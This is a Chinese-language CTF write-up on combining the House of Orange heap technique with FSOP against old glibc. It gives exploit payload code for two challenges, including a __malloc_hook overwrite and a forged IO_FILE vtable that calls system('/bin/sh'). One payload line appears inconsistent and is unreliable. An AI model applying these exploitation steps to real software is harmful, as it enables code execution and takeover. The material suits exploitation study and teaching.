House of orange及FSOP组合技巧总结
字数 1441 2025-08-22 22:47:30
House of Orange及FSOP组合技巧详解
概述
House of Orange是一种利用堆溢出修改top chunk大小,使其被放入unsorted bin的技术。当程序没有显式free函数时,这种技术尤为有用。结合FSOP(File Stream Oriented Programming)攻击,可以劫持IO_FILE结构体,最终实现getshell的目的。
适用条件
- glibc版本:2.23-2.24
- 程序没有足够的free函数调用
- 存在堆溢出或其他可以修改top chunk size的手段
House of Orange原理
当申请的内存大小超过当前top chunk的大小时,系统会:
- 将原来的top chunk放入unsorted bin
- 映射或扩展一个新的top chunk
触发条件
- 修改top chunk的size字段
- 申请一个大于修改后top chunk size的内存块
具体要求
MINSIZE < old_top_size < 申请的chunk + MINSIZE- old_top_size的prev_inuse位必须为1
- 地址对齐要求:
old_top_addr + old_top_size必须与页对齐 - 申请的大小必须小于0x20000(否则会使用mmap映射)
利用过程
第一阶段:House of Orange
- 修改top chunk size:通过堆溢出等手段修改top chunk的size字段
- 触发unsorted bin:申请一个大于修改后size的内存块,使原top chunk进入unsorted bin
- 泄露地址:通过申请适当大小的内存块,从unsorted bin中获取残留的libc地址
第二阶段:FSOP攻击
- 劫持IO_FILE结构体:修改_IO_list_all指针
- 伪造vtable:将vtable中的_IO_overflow函数地址改为system地址
- 设置参数:使IO_FILE结构体中的flags成员为"/bin/sh"字符串
- 触发执行:通过以下方式触发:
- 执行exit函数
- 执行abort流程
- 程序从main函数返回
实例分析:ciscn 2024 orange_cat_diary
程序分析
- 只能delete一次(典型的orange特征)
- show功能只能使用一次
- 没有足够的free函数调用
利用步骤
- 修改top chunk:
add(0x108, b'a')
edit(0x110, b'a'*0x108 + p64(0xef1))
add(0x1000, b'a') # 触发top chunk进入unsorted bin
- 泄露libc地址:
add(0x60) # 申请残余内容
show()
main_arena = u64(l8(rc(6))) - 0x61
libc.address = main_arena - 0x3c5100
- 劫持malloc hook:
dele()
edit(0x20, p64(libc.symbols['__malloc_hook'] - 0x23))
add(0x60, b'a') # 申请旧chunk
add(0x60, b'a'*0x13 + p64(gadget)) # 申请malloc hook
- 触发执行:再次调用malloc使one_gadget执行
另一个实例:House of Orange
利用步骤
- 初始设置:
add(0x30, 'aaaa', 111, 56746) # chunk0
- 修改top chunk size:
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(111) + p32(56746) + p64(0)*2 + p64(0xf81)
edit(len(payload), payload, 111, 56746)
- 触发unsorted bin:
add(0x1000, b'bbbb', 111, 56746)
- 泄露地址:
add(0x400, b'a', 14, 3)
show()
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x61 + 0x78 - (0x7f1337edbb78 - 0x7f1337b17000)
- 泄露heap地址:
payload = 'b'*0x10
edit(0x10, payload, 14, 3)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xf0
- 构造FSOP链:
pay = b'a'*0x400 + b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
pay += p64(0) + p64(1)
pay = orange.ljust(0xc0, b'\x00')
pay += p64(0)*3 + p64(heap_base + 0x5E8) + p64(0)*2 + p64(system)
payload = p64(0) + p64(0x21) + p32(111) + p32(56746)
payload += p64(0) + pay
edit(len(payload), payload, 111, 56746)
- 触发执行:
r.sendlineafter('Your choice : ', '1') # 刷新IO文件流
关键点总结
- top chunk修改:必须满足size的严格条件,包括对齐和大小限制
- 地址泄露:利用unsorted bin中的残留地址获取libc和heap基址
- FSOP构造:需要精心构造IO_FILE结构体和vtable
- 触发时机:理解何时会触发IO操作是成功的关键
防御措施
- 升级glibc版本(2.25及以上有更多保护机制)
- 加强堆溢出检测
- 使用更安全的IO操作函数
通过深入理解House of Orange和FSOP的组合利用技巧,可以在CTF比赛和漏洞研究中有效利用这类漏洞。